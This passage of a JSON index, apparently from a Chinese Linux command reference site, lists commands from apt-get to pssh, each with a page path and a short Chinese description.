下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管